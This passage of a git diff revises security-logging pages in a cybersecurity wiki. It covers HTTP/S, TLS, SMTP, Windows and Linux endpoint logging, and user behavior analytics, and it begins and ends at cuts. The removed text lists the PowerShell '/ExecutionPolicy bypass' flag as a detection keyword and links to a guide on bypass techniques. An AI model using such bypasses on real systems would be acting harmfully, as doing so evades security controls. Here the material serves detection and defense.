detect and block many types of malware that are not proxy aware. - * The logs in web proxies are similar to web servers but will contain a few extra fields specific to proxies, such as Cache status, MIME object type, and peer hierarchy information. - * When using a proxy we need to make sure we are tracking the original address that initiated the traffic. For this we use a field called XFF: X-forwarded-for. Zeek and most proxies will log this by default. Most web servers will not, and must be enabled. -* Network traffic logging tools - [ZEEK](https://zeek.org/) is an incredible too that can easily grab HTTP logs flowing across a network. This is one of the more simple and easy to configure logging options. If the hosted extractor has the appropriate visibility, this can capture all of the logs we would need. - * This is also one of the best options for extracting TLS 1.2 and lower certificate data. it typically has more data fields than other logging options that support certificate data. -* Decrypt port mirroring - When using port mirroring for the purposes of a network tap, certain devices with SSL inspection capability can log decrypted SSL/TLS communications out to a logging port. If your current toolset does not perform SSL inspection, you can use a tool such as[ hallucinate](https://github.com/SySS-Research/hallucinate/) to perform one-stop TLS traffic inspection and manipulation using dynamic instrumentation. -* Specialty Sources - These would include Logging agents like [Packetbeat](https://www.elastic.co/beats/packetbeat), scripts, cloud logs, and those from other applications. - -**SSL/TLS** +* Source hostname +* DNS server IP +* DNS server hostname +* Client source port +* Domain query +* Response +* Query type +* Response code + +DNS enrichment techniques such as domain age, entropy, popularity, GeoIP, RDAP, and passive DNS are maintained in SIEM Enrichment and Cyber Intelligence. + +{% content-ref url="../blue-defense/event-detection/siem-and-enrichment.md" %} +[siem-and-enrichment.md](../blue-defense/event-detection/siem-and-enrichment.md) +{% endcontent-ref %} -Encrypted web communications have recently become not only common, but standard for many applications. This is great for personal security and privacy, but adds a challenge for defenders needing to investigate potentially malicious traffic. That being said, there are a few more data points that are added with an SSL/TLS connection, that we can leverage for identification. +{% content-ref url="../cyber-intelligence/threat-data.md" %} +[threat-data.md](../cyber-intelligence/threat-data.md) +{% endcontent-ref %} -One of the best data points for enrichment and detection Use cases, is the SSL certificate. In TLS 1.2 communications and lower, the traffic is encrypted but the certificate details are not. Because of this, we can use the certificate contents to identify malware. +## HTTP and HTTPS Logs -TLS 1.3 adds a large hurdle with detection, as it now encrypts the certificate data as well as the payload. The only way around this is SSL/TLS decryption and Inspection. This is further disrupted as with PFS: Perfect Forward Secrecy, Inspection will require a complete tear down of the connection in order to inspect the contents, therefore changing the connection into two separate tunnels. +HTTP/S logs can come from web servers, reverse proxies, WAFs, forward proxies, firewalls, Zeek/Corelight, packet sensors, cloud load balancers, and application platforms. -**Certificate Analysis** +### Collection Notes -SSL certificates can hold a slew of information that can be used to identify known good and known bad traffic. The presence of a revoked certificate ID or by a known malicious publisher, can be data points that produce high fidelity detections. Beyond this we should also look at what data is NOT present within the certificate. There are a lot of details in a proper certificate and malware authors can be lazy and malware will perform minimal tasks to be successful as well as tend to fill in the minimum data point within a certificate. +* **Web servers** - IIS, Apache, NGINX, and application servers provide request logs. Normalize field names and include X-Forwarded-For where applicable. +* **Web proxies** - Strong source for outbound HTTP/S visibility, user mapping, URL categories, cache status, and actions. +* **WAFs** - Useful for inbound application traffic, rule IDs, actions, and attack categories. +* **Next-generation firewalls** - Can provide application IDs, URL categories, TLS metadata, and actions. +* **Zeek/Corelight** - Useful source for HTTP logs and TLS metadata when sensor placement provides visibility. +* **SSL/TLS inspection devices** - Can add decrypted or certificate-level details where lawful and authorized. -**Required Data Points** +### HTTP/S Fields * Timestamp * Source IP -* Source Hostname/Domain (If available) +* Source hostname or user, when available * Destination IP -* Destination Hostname/Domain (If available) -* Domain requested +* Destination hostname +* Host header or SNI +* URI and query string +* HTTP method * HTTP status code -* User Agent -* Web Application Firewall Logs - * Firewall Action - * Any available reputation or signature data - * Network level data (Connection type, protocol, byte count, etc.) -* Next Gen Firewall/Network Traffic Logs. - * Firewall Action - * Any available reputation or signature data - * Network level data (Connection type, protocol, byte count, etc.) +* User-Agent +* Referrer +* Request and response byte counts +* Proxy, firewall, or WAF action +* Rule ID, category, or signature name when available -**Optional - If you have the storage.** +### TLS Metadata -* Full HTTP header information - Handy for more indepth analysis. Use for local storage only as this can get super loud. Can also be accomplished with a packet capture solution. +TLS 1.3 and encrypted client hello reduce some passive visibility. When available, TLS metadata can still help investigations: -**HTTP Enrichment Data Points** +* SNI +* JA3/JA4-style fingerprints +* Certificate issuer and subject +* Certificate validity window +* TLS version and cipher suite -* Frequency score of the web server or virtual host you are interacting with. -* Field lengths of the URI and User-Agent. -* Many DNS related enrichment opportunities can also carry over to HTTP +JA3 and packet-level TLS fingerprinting are maintained in Packet Analysis. -**HTTPS Enrichment Data Points -** These are in addition to the enrichment points for HTTP - -* Certificate data. Available for TLS 1.2 and Lower. Please see [x509 certificate](https://en.wikipedia.org/wiki/X.509) details for available fields. Investigation of the certificate issuer is always recommended. -* SSL/TLS Fingerprint - Certain tools like [JA3](https://github.com/salesforce/ja3) can create a fingerprint hash that can Identify a particular SSL/TLS connection based on the connection metadata. These in turn can be used for easy identification of known good and known bad connections, without looking at the traffic content - -### SMTP - -**Log Collection** - -As a rule, when focusing on email traffic, we should be letting focused security tools be our primary sources of information and security context. Email security appliances, mail proxies, spam filters, and other tools provide immense value and we should not be attempting to duplicate work that they perform. We can however supplement them by leveraging extra visibility. +{% content-ref url="../blue-defense/packet-analysis.md" %} +[packet-analysis.md](../blue-defense/packet-analysis.md) +{% endcontent-ref %} -There are certain sources of logs that we should focus on when collecting data related to email and SMTP. +## SMTP and Email Logs -* Email related security tools and SMTP Proxies.- These are helpful for identifying malicious attachments, blocking spam, and any other alerting the tool might generate. -* Mail servers and Mail applications - While containing a significant amount of data, it can be a wealth of statistical knowledge if you have the storage for it. -* Network traffic data - Amazingly useful for supplementary use cases to the above tools. Can help detect unauthorized SMTP traffic. By using Network Security Monitoring tools like ZEEK, we can collect everything we need. +Email logs should usually come from focused email infrastructure and security tooling first: mail servers, secure email gateways, cloud email audit logs, spam filters, and mail proxies. Network-derived SMTP logs can supplement this visibility. -**Required Data Points** +### SMTP Fields * Timestamp * Source IP -* Source Hostname/Domain (If available) +* Source hostname * Destination IP -* Destination Hostname/Domain (If available) -* Source email address -* Destination email address -* Return Address -* Return Path -* Message Receipt/Delivery action -* Subject line +* Destination hostname +* Sender address +* Recipient address +* Return path +* Message ID +* Subject * Message size -* X-Forwarded field -* Email Security Appliance Logs - * Appliance action - * Any available reputation or signature data - * Network level data (Connection type, protocol, byte count, etc.) - -**Optional Data Points** +* Attachment names and hashes, when available +* Delivery action +* Security appliance action and rule ID -* Full email headers. - * Handy for more indepth analysis. Use for local storage only as this can get super loud. Can also be accomplished with email server logs or packet capture solution. +For phishing investigation and threat data enrichment, use Cyber Intelligence and DFIR pages rather than duplicating those sources here. -**Enrichment Data Points** +{% content-ref url="../cyber-intelligence/threat-data.md" %} +[threat-data.md](../cyber-intelligence/threat-data.md) +{% endcontent-ref %} -* Display Names from users -* GeoIP +{% content-ref url="../dfir-digital-forensics-and-incident-response/" %} +[dfir-digital-forensics-and-incident-response](../dfir-digital-forensics-and-incident-response/) +{% endcontent-ref %} diff --git a/security-logging/logging-guide-windows-endpoint-logs.md b/security-logging/logging-guide-windows-endpoint-logs.md index 6d3a3a1..2159ca6 100644 --- a/security-logging/logging-guide-windows-endpoint-logs.md +++ b/security-logging/logging-guide-windows-endpoint-logs.md @@ -1,201 +1,141 @@ # Logging - Endpoint Logs +Endpoint logs provide host-level visibility for authentication, process execution, file activity, PowerShell, system changes, and local security state. This page focuses on enabling and collecting endpoint logs from Windows and Linux systems. + +Detection use cases that consume endpoint logs live in Blue Defense. + +{% content-ref url="../blue-defense/event-detection/detection-use-cases/endpoint.md" %} +[endpoint.md](../blue-defense/event-detection/detection-use-cases/endpoint.md) +{% endcontent-ref %} + +{% content-ref url="../blue-defense/event-detection/detection-use-cases/command-line.md" %} +[command-line.md](../blue-defense/event-detection/detection-use-cases/command-line.md) +{% endcontent-ref %} + ## Windows -### **Windows Log Sources** - -Windows events have the ability to be exceedingly granular, but also produce more logs than we can handle. Determining the logging level is a critical first step for on-boarding windows log sources. Managing Windows logging can be easily managed by powershell commands and Group Policy Objects. - -* Windows Event Logs - (.EVT) The older standard format for windows OS event logging. -* Windows Event Logs XML - (.EVTX) An upgraded logging format with slightly smaller storage size, pre-parsed fields, and an expanded number of data fields. This format is now the primary Windows log source. - * XML fields parsed into EventData and UserData - * Allows applications to specify additional properties/fields. - * Stored in binary format and uses Windows EvtRender API to convert binary and XML. - * [https://docs.microsoft.com/en-us/windows/win32/api/winevt/ne-winevt-evt\_system\_property\_id](https://docs.microsoft.com/en-us/windows/win32/api/winevt/ne-winevt-evt\_system\_property\_id) - * [https://docs.microsoft.com/en-us/windows/win32/api/winevt/ne-winevt-evt\_log\_property\_id](https://docs.microsoft.com/en-us/windows/win32/api/winevt/ne-winevt-evt\_log\_property\_id) -* [Windows Event Tracing](https://docs.microsoft.com/en-us/archive/blogs/ntdebugging/part-3-etw-methods-of-tracing) - (ETW) Created ETL: Event Trace Logs(.ETL file), commonly used for debugging or troubleshooting. - * Disabled by default due to shear volume of data. - * [https://docs.microsoft.com/en-us/windows/win32/etw/event-tracing-portal](https://docs.microsoft.com/en-us/windows/win32/etw/event-tracing-portal) - -### **Windows Log Management** - -Windows Event logs are typically broken out into what windows calls "[Channels](https://docs.microsoft.com/en-us/windows/win32/wes/defining-channels)" which specifies the category of Events such as Application, Security, System, etc. There are four types of channels that existing within Windows: - -* Admin - Well known events. (evtx) -* Operational - Used for human analysis (evtx) -* Analytic and Debug - High volume of information for the most granular of analysis. (.etl) - -Windows uses audit policies to control what is logged and can easily be defined by group policy. Policies can con in a basic format or an advanced format for more granular control over your logging. Remember: when using advanced audit policies, enable "Force audit policy subcategory settings". Sometimes we will have systems that are not joined to the domain. Since group policy is not available, we can use a handy utility called auditpol.exe to remotely fetch and set audit policy settings. \ -Microsoft has a fantastic set of [recommendations](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/audit-policy-recommendations) for how to set-up your audit policy. CIS also has a set of [configuration recommendations](https://www.cisecurity.org/benchmark/microsoft\_windows\_desktop/) that have tons of helpful detail on why their settings are recommended. - -### **Windows Event Types** - -* Account management - Used for tracking un authorized changes in the environment. Can track changes to: - * Application Groups, - * System Accounts - * User Active Directory Distribution Groups - * Security Groups - * Account Management related events such as password change or account lockout. -* Logon/Logoff - The primary event type for detecting credential theft and reuse. - * Logon/logoff activity - * Special group logons - * Failed logins, and thier failure reason - * Account lockouts. -* Detailed Tracking - Next level details of endpoint activity - * Process creation and termination - * RPC events - * Token rights changes - * Plug-N-Play activity (Requires Win10/Server 2016) - * Command-line logging (Requires manual adjustment) -* Object Access - Event type for monitoring of network objects. Does not log all activity by default. You must place an ACL on the object or object group in order to tell the Audit Policy what to log. - * File creation/deletion/modification - * Registry key changes - * Network access - * Windows Firewall logging - * Active Directory Objects: Users, Groups, Files, Folders, etc. - * Certificates - -### **Supplementary Windows logging** - -#### When Event logs are not enough - -[Sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon): A Sysinternals tool that provides detailed information about process creations, network connections, and changes to file creation time. It is a wealth of information that can be used for a variety of purposes in Incident Response, Event Detection, and Threat Hunting.\ -Sysmon adds additional logging capabilities over standard windows event logs. It can provide logs for driver/dll loding activities, WMI monitoring, and can provide process hashes and parent processes for analysis. - -* [SysmonForLinux](https://github.com/Sysinternals/SysmonForLinux) - Linux version of Sysmon. Installation guide for Ubuuntu available on Github. -* [Sysmon-dfir](https://github.com/MHaggis/sysmon-dfir) - Sources, configuration and how to detect evil things utilizing Microsoft Sysmon. -* [Sysmon-modular](https://github.com/olafhartong/sysmon-modular) - A repository of Sysmon configuration modules that breaks out Sysmon's functions into subfolders. You can use powershell to combine each function file into one larger XML configuration file. -* [Sysmon-config ](https://github.com/SwiftOnSecurity/sysmon-config)- SwiftOnSecurity's Sysmon configuration file template with default high-quality event tracing. Advanced Sysmon configurations require the use of an XML configuration file. -* [SysmonSearch](https://github.com/JPCERTCC/SysmonSearch) - Investigate suspicious activity by visualizing Sysmon's event log. -* [TrustedSec Sysmon Community Guide](https://www.trustedsec.com/tools/trustedsec-sysmon-community-guide/) - Everything Dave Kennedy writes/makes is gold. It is the way. -* [Sysmon Threat Analysis Guide](https://www.varonis.com/blog/sysmon-threat-detection-guide/) [Splunking the Endpoint: Threat Hunting with Sysmon](https://haggis-m.medium.com/splunking-the-endpoint-threat-hunting-with-sysmon-9dd956e3e1bd) -* [Espy](https://github.com/activecm/espy/): Endpoint detection for remote hosts for consumption by RITA and Elasticsearch -* [Sysmon API MindMap](https://raw.githubusercontent.com/OTRF/API-To-Event/master/images/API-to-Sysmon.svg) -* [https://docplayer.net/19532221-Tracking-hackers-on-your-network-with-sysinternals-sysmon.html](https://docplayer.net/19532221-Tracking-hackers-on-your-network-with-sysinternals-sysmon.html) - -Custom Powershell Log Creation: When you have a program that only outputs logs to a file, or if you have a reoccurring task that you would like to log the output from, you can use the powershell "Write-EventLog" to output the results to a log file. - -### **Windows Log Collection** - -To achieve the greatest utility and flexibility, it is preferred to use a log agent over agentless collection. Windows also has a great log agent built into the platform with the Windows Event Collector. - -* **Windows Event Forwarding** - The built-in log forwarding and collecting service within windows - * Requires a Windows Event Collector logging agent to be configured and running - * The Collector will then pull events from the endpoint, or the endpoint will push them to the Collector. - * GPO can be users to tell the endpoints which events to push. - * This is intended to be sent from one windows host to a windows collector, NOT directly into a SIEM. - * Does not support the forwarding of ETL files - * Can manage event subscriptions via an intuitive GUI, or by a custom XML file. - * [https://hackernoon.com/the-windows-event-forwarding-survival-guide-2010db7a68c4](https://hackernoon.com/the-windows-event-forwarding-survival-guide-2010db7a68c4) - * [https://docs.microsoft.com/en-us/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection](https://docs.microsoft.com/en-us/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection) - * [https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem](https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem) - * [https://petri.com/configure-event-log-forwarding-windows-server-2012-r2/](https://petri.com/configure-event-log-forwarding-windows-server-2012-r2/) - * [https://blog.palantir.com/windows-event-forwarding-for-network-defense-cb208d5ff86f?gi=79f1178de0ae](https://blog.palantir.com/windows-event-forwarding-for-network-defense-cb208d5ff86f?gi=79f1178de0ae) - * [https://github.com/palantir/windows-event-forwarding](https://github.com/palantir/windows-event-forwarding) -* **Blind Drop** - When certain applications or devices cannot output files, or your organization refuses to install an agent on a device, you can output available logs to a file and then share the log files with a file server then into your SIEM for processing. - * Requires a single file server and a third party agent or powershell script - * File server is set up to allow log files to be uploaded but never modified or viewed. +### Windows Log Sources -## Linux +* **EVT** - Older Windows event log format. +* **EVTX** - Current Windows event log format with structured XML fields. +* **ETW / ETL** - Event Tracing for Windows and Event Trace Log files. Useful for high-volume tracing, debugging, and specialized telemetry. + +Useful Microsoft references: + +* [Windows Event Log API](https://learn.microsoft.com/en-us/windows/win32/wes/windows-event-log) +* [EVT_SYSTEM_PROPERTY_ID](https://learn.microsoft.com/en-us/windows/win32/api/winevt/ne-winevt-evt_system_property_id) +* [EVT_LOG_PROPERTY_ID](https://learn.microsoft.com/en-us/windows/win32/api/winevt/ne-winevt-evt_log_property_id) +* [Event Tracing](https://learn.microsoft.com/en-us/windows/win32/etw/event-tracing-portal) + +### Windows Log Management + +Windows event channels include: + +* **Admin** - Events intended for administrators. +* **Operational** - Events used for operational troubleshooting and analysis. +* **Analytic and Debug** - High-volume tracing channels, often disabled by default. -### **Linux Log Sources** +Windows audit policy controls what security events are logged. Use Group Policy for domain systems and `auditpol.exe` for local or remote inspection where appropriate. -Syslog - The original method of logging for Linux. +* [Microsoft audit policy recommendations](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/audit-policy-recommendations) +* [CIS Microsoft Windows Benchmarks](https://www.cisecurity.org/benchmark/microsoft_windows_desktop/) -* Linux devices listen using a local socket by default -* Syslog daemon stores in /var/log/ by default -* Only supports UDP port 514 -* Common log files - * /var/log/message - Global message (general activity) - * /var/log/auth.log - Authentication related logs - * /var/log/boot.log - Boot time events - * /var/log/daemon.log - Background Process Events - * /var/log/kern.log - Kernel messages (Used for trouble shooting) - * /var/log/cron.log - Events related to scheduled tasks - * /var/log/secure - su or sudo related events. -* Syslog codes - These are the digits in the log files that identify both the purpose of the log and the importance. - * Facility Codes - Details the purpose of the log. (0-23) - * Severity Codes - Details the urgency of the log. (0-7) - * [https://www.ietf.org/rfc/rfc5424.txt](https://www.ietf.org/rfc/rfc5424.txt) -* Syslog Structure - * PRI - Number that combines Severity and Faciltiy codes together. PRI= Severity + (Faciltiy\*8) +### Windows Event Types -[Syslog-NG](https://www.syslog-ng.com/products/open-source-log-management/) - Syslog enhanced +* **Account management** - User, group, and account lifecycle changes. +* **Logon/Logoff** - Logon activity, failed logons, lockouts, and special logons. +* **Detailed tracking** - Process creation, process termination, RPC events, token changes, and plug-and-play activity. +* **Object access** - File, registry, network share, firewall, certificate, and Active Directory object access when auditing is configured. -* Created to fill in the capability gaps for original syslog -* Adds ability to transport over TCP and SSL/TLS -* Capable of logging higher volumes of up to 600k+ messages per second -* Can perform custom filtering and parsing -* Easier to use config file -* Can send logs to multiple locations simultaneously +### Supplementary Windows Logging -[Rsyslog](https://www.rsyslog.com/) - Rocket-fast Syslog +Sysmon is a supplementary log source for process creation, network connections, driver and DLL loading, WMI activity, hashes, parent process relationships, registry activity, and more. Keep Sysmon configuration and detection resources on the Sysmon page. -* As the name implies, can handle a massing 1million+ messages per second to local logging. -* Similar in increase in function to Syslog-NG -* Supports RELP: Reliable Event Logging Protocol -* Uses liblognorm instead of Regex to parse +{% content-ref url="../blue-defense/event-detection/sysmon.md" %} +[sysmon.md](../blue-defense/event-detection/sysmon.md) +{% endcontent-ref %} + +Custom PowerShell logging can also be useful when scripts or programs only write to local files. `Write-EventLog` can place custom operational output into Windows Event Logs. + +### Windows Event Forwarding + +Windows Event Forwarding (WEF) is the built-in Windows collection mechanism for forwarding Windows Event Logs to a Windows Event Collector. + +* Uses WinRM. +* Can be configured by Group Policy. +* Supports source-initiated and collector-initiated subscriptions. +* Is intended for Windows endpoint-to-Windows collector forwarding, not direct SIEM ingestion. +* Does not forward ETL files. + +References: + +* [Microsoft: Use Windows Event Forwarding to help with intrusion detection](https://learn.microsoft.com/en-us/windows/security/operating-system-security/device-management/use-windows-event-forwarding-to-assist-in-intrusion-detection) +* [Windows Event Forwarding Survival Guide](https://hackernoon.com/the-windows-event-forwarding-survival-guide-2010db7a68c4) +* [Monitoring What Matters: Windows Event Forwarding for Everyone](https://learn.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem) +* [Palantir Windows Event Forwarding](https://github.com/palantir/windows-event-forwarding) +* [Palantir: Windows Event Forwarding for Network Defense](https://blog.palantir.com/windows-event-forwarding-for-network-defense-cb208d5ff86f) + +### Blind Drop Collection + +Blind drop collection is useful when an application or device can write logs only to a file and an agent cannot be installed. A file server accepts log uploads, then a collector or agent forwards those files to the logging platform. + +## Linux -### Third party logging tools +### Syslog -* [Auditd](https://linux.die.net/man/8/auditd) - Logging system developed by Red Hat - * Provides additional logging information including user activity and process activity. - * Config file of audit.rules contains 3 rules types - * Control rules - Defines config settings of the logs - * System call rules - Monitors system calls for processes and users. - * File monitor rules - * [https://access.redhat.com/documentation/en-us/red\_hat\_enterprise\_linux/6/html/security\_guide/chap-system\_auditing](https://access.redhat.com/documentation/en-us/red\_hat\_enterprise\_linux/6/html/security\_guide/chap-system\_auditing) -* [Snoopy Logger](https://github.com/a2o/snoopy) - Utility designed to log command line execution to syslog -* [SysmonForLinux](https://github.com/Sysinternals/SysmonForLinux) - Linux version of Sysmon. Installation guide for Ubuuntu available on Github. +Linux systems typically write local logs under `/var/log/` through a syslog daemon. Modern syslog implementations can forward over UDP, TCP, RELP, and TLS depending on the daemon and configuration. -## **Command line and Scripting basics** +Common log paths: -In both Windows and Linux, the command line is actually an interpreter for scripting. Commands can be scripted for both the native command line utilities such as cmd.exe and Bash, as well as more powerful languages like Powershell or Python. Powershell in particular is used heavily for administrative actions within a network, as well as being used maliciously in over 38% of all incidents. +* `/var/log/messages` - General system messages on many distributions. +* `/var/log/auth.log` - Authentication events on Debian/Ubuntu-style systems. +* `/var/log/secure` - Authentication and sudo-related events on RHEL-style systems. +* `/var/log/boot.log` - Boot events. +* `/var/log/daemon.log` - Daemon and background process events. +* `/var/log/kern.log` - Kernel messages. +* `/var/log/cron.log` - Scheduled task events. -When logging command line usage and script calls it is important to understand thier common usage. Script files are used for automation and are seen being used very commonly by defenders. Defenders will often have repetitive, complex tasks that automation through a script will drastically increase their workflow. Now, all of those tasks can be put manually in the command line instead of a script, but they can be incredibly long commands. In order to bypass detection by antivirus, often times attackers will place their long commands directly into the command line or call remote code, rather than directly run a script. Remember: Antivirus cannot detect a signature, when there is no file. +Syslog metadata: -### **Powershell Execution Policy and other security** +* **Facility** - Message source category. +* **Severity** - Message importance. +* **PRI** - Facility and severity encoded together. -Powershell has a built in security setting called the Execution policy. It was originally designed to prevent admins from running code they didnt intend on running. There are 4 policy settings available in Powershell. +### Syslog Implementations -* Restricted - Interactive commands only. No scripts. -* AllSigned - Permits only scripts that are digitally assigned by approved publishers -* RemoteSigned - Permits only scripts that are signed by approved publishers or generated locally. -* Unrestricted - Permits all scripts. +* [syslog-ng](https://www.syslog-ng.com/products/open-source-log-management/) - Enhanced syslog daemon with filtering, parsing, routing, TCP, and TLS support. +* [rsyslog](https://www.rsyslog.com/) - High-performance syslog daemon with RELP, TCP/TLS forwarding, queues, and parsing support. -Sadly, there are quite a few ways to bypass it. That being said, you can create detections for most of these techniques. [https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/](https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/) +### Linux Audit and Command Logging -Applocker can be used to allow or deny powershell use based on powershell itself, or particular scripts through a feature called [JEA: Just Enough Administration](https://github.com/PowerShell/JEA). +* [auditd](https://linux.die.net/man/8/auditd) - Linux audit subsystem for system calls, file watches, and security-relevant activity. + * [Red Hat System Auditing Guide](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing) +* [Snoopy Logger](https://github.com/a2o/snoopy) - Logs command execution to syslog. +* [SysmonForLinux](https://github.com/Sysinternals/SysmonForLinux) - Linux Sysmon implementation. -### **Command Line Logging** +## Command Line and Script Logging -Command line logging is not typically enabled by default. For windows environments, even enabled, you must take one step further in order to log the command line parameters as well. +Command lines and scripts provide high-value context for both administration and attacker activity. Enable enough detail to capture command intent, but plan for noise and sensitive data handling. -* Windows - Enable logging of process creations under Windows Audit Policy - * Computer Configuration -> Policies -> Administrative Templates -> System -> Audit Process Creation. -* Powershell - * Event logs under Application and service logs -> Microsoft -> Windows -> "Microsoft-Windows-Powershell/Operational" - * Module Logging - Records when a function from a module is invoked. Extremely verbose. - * Event ID 4103 - Powershell Module Loaded - * Requires Powershell 3.0 - * Script Block Logging - Generates a log for each block of code executed. - * Recorded at time of execution. Data is decoded within the log. Combine with command line logging to get both the before and after data. - * Contains extra field called Event Type. Can classify suspicious commands with a WARNING level log. - * Event ID 4104 - Creation of Script Block - * Event ID 4105 - Script Block Execution Start - * Event ID 4106 - Script Block Execution Stop - * Requires Powershell 5.0 - * Transcription Logging - Contains both the input and output, only saves to a file. +### Windows Command and PowerShell Logging -### **Command line key words for detection** +* Enable process creation auditing. +* Enable command-line parameter logging for process creation. +* Collect PowerShell Operational logs. +* Enable PowerShell module logging where useful. +* Enable PowerShell script block logging for decoded script content. +* Enable transcription logging when you need full input/output records and have storage controls in place. -* Powershell - * "/ExecutionPolicy bypass" +PowerShell execution policy bypasses are offensive/defense-evasion techniques; keep bypass details in Red Offensive and detection ideas in Blue Defense command-line use cases. -### **Reference** +{% content-ref url="../red-offensive/testing-methodology/post-exploitation/defense-evasion.md" %} +[defense-evasion.md](../red-offensive/testing-methodology/post-exploitation/defense-evasion.md) +{% endcontent-ref %} -* [https://docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.1\&viewFallbackFrom=powershell-6](https://docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.1\&viewFallbackFrom=powershell-6) +{% content-ref url="../blue-defense/event-detection/detection-use-cases/command-line.md" %} +[command-line.md](../blue-defense/event-detection/detection-use-cases/command-line.md) +{% endcontent-ref %} -**** +PowerShell reference: -**** +* [PowerShell documentation](https://learn.microsoft.com/en-us/powershell/scripting/overview) diff --git a/security-logging/logging-user-behavior-monitoring.md b/security-logging/logging-user-behavior-monitoring.md index 647e06f..26b8da4 100644 --- a/security-logging/logging-user-behavior-monitoring.md +++ b/security-logging/logging-user-behavior-monitoring.md @@ -1,22 +1,39 @@ # Logging - User Behavior Monitoring -While UBA (User Behavior Analytics) or UEBA (User and Entity Behavior Analytics), is a detection methodology typically used in more mature security operations, it still can be incredibly beneficial if deployed properly. The only caveat to this, is that it requires large amounts of data and tuning in order to be successful. This is NOT a plug and play security solution. +User Behavior Analytics (UBA) and User and Entity Behavior Analytics (UEBA) compare current activity against expected behavior for a user, role, host, or peer group. These systems can be useful, but they require clean identity data, enough historical activity, and sustained tuning. -"If you do not know your environment and you have not implemented a basic defensible posture, do not start with these types of products" - SANS SEC555 +Do not start with UEBA if the environment does not have basic asset inventory, identity hygiene, endpoint logging, and defensible baselines. -**UBA Components** +## UBA Components -User behavior monitoring typically involves 3 separate tasks: +* **Allowed activity models** - Expected applications, logon patterns, locations, devices, and administrative tasks. +* **Denied or high-risk activity models** - Actions that are never expected for a user, group, asset, or environment. +* **Deviation detection** - Identification of activity that differs from normal behavior for a user or peer group. +* **Entity context** - Device, user, role, group, location, and asset criticality context that makes deviations meaningful. -* Allow lists of user activities - Start with general activity accepted by all users. This is further enhanced with tagging and definitions of user groups. -* Deny list of user activities - As above, start with general activity accepted by all users. This is further enhanced with tagging and definitions of user groups. -* Identifying deviations from normal user activity. Most people are creatures of habit. This also extends to roles. While system admins may perform previously unseen tasks are regular intervals, the accounting department does not tend to stray from the same actions and applications. +## UBA and UEBA Tools -**UBA Tools** +* SIEM-native UEBA features - Many SIEMs include behavior analytics, such as [Splunk UEBA](https://www.splunk.com/en_us/data-insider/user-behavior-analytics-ueba.html). +* [OpenUBA](https://github.com/GACWR/OpenUBA) - Open source user behavior analytics project. Appears unmaintained; validate before use. The project historically expected multiple weeks of activity before useful baselines. +* [Microsoft Advanced Threat Analytics](https://learn.microsoft.com/en-us/advanced-threat-analytics/what-is-ata) - Deprecated Microsoft behavioral analytics product. Microsoft Defender for Identity is the replacement. +* [Microsoft Defender for Identity](https://www.microsoft.com/en-us/security/business/threat-protection/identity-defender) +* [User-Behavior-Mapping-Tool](https://github.com/trustedsec/User-Behavior-Mapping-Tool) - TrustedSec project for mapping common user behavior on Windows systems. + * [TrustedSec: Oh Behave! Figuring Out User Behavior](https://www.trustedsec.com/blog/oh-behave-figuring-out-user-behavior/) -* UBA/UEBA Tools built into you SIEM - Many SIEMs have built in UEBA utilities like [Splunk's UEBA](https://www.splunk.com/en\_us/data-insider/user-behavior-analytics-ueba.html). -* [OpenUBA](https://github.com/GACWR/OpenUBA)[https://openuba.org/](https://openuba.org/) -* [Microsoft Advanced Threat Analytics (ATA)](https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata) - Microsoft's behavioral analytics tool that has recently been made EOL and is being replaced with [Identity Defender](https://www.microsoft.com/en-us/security/business/threat-protection/identity-defender) - * Requires 21 days with 12 days of activity from the target users - Open source data science project for user behavior monitoring. -* [User-Behavior-Mapping-Tool](https://github.com/trustedsec/User-Behavior-Mapping-Tool) -Project aims to map out common user behavior on the computer. Most of the code is based on the research by kacos2000 found here: [https://github.com/kacos2000/WindowsTimeline](https://github.com/kacos2000/WindowsTimeline) - * [https://www.trustedsec.com/blog/oh-behave-figuring-out-user-behavior/](https://www.trustedsec.com/blog/oh-behave-figuring-out-user-behavior/) +## Related Pages + +Behavior analytics depends on device inventory and endpoint logging. + +{% content-ref url="device-discovery-and-asset-inventory.md" %} +[device-discovery-and-asset-inventory.md](device-discovery-and-asset-inventory.md) +{% endcontent-ref %} + +{% content-ref url="logging-guide-windows-endpoint-logs.md" %} +[logging-guide-windows-endpoint-logs.md](logging-guide-windows-endpoint-logs.md) +{% endcontent-ref %} + +Detection use cases belong in Blue Defense. + +{% content-ref url="../blue-defense/event-detection/" %} +[event-detection](../blue-defense/event-detection/) +{% endcontent-ref %} diff --git a/start-here.md b/start-here.md new file mode 100644 index 0000000..1301183 --- /dev/null +++ b/start-here.md @@ -0,0 +1,127 @@ +--- +description: Guided cyber security learning paths for SOC analysts, pentesters, DFIR practitioners, CTI analysts, AppSec testers, and beginners. +--- + +# Start Here + +Use this page when you know the role, workflow, or learning goal you care about, but not which section to open first. + +## New to Cyber Security + +Start with fundamentals, then branch into the color-coded sections as your interests sharpen. + +{% content-ref url="training/" %} +[training](training/) +{% endcontent-ref %} + +{% content-ref url="yellow-neteng-sysadmin.md" %} +[yellow-neteng-sysadmin.md](yellow-neteng-sysadmin.md) +{% endcontent-ref %} + +{% content-ref url="code-tools/" %} +[code-tools](code-tools/) +{% endcontent-ref %} + +## SOC Analyst / Blue Team + +Use these pages for defensive operations, SIEM work, detection engineering, endpoint visibility, packet analysis, and hardening. + +{% content-ref url="blue-defense/" %} +[blue-defense](blue-defense/) +{% endcontent-ref %} + +{% content-ref url="blue-defense/event-detection/" %} +[event-detection](blue-defense/event-detection/) +{% 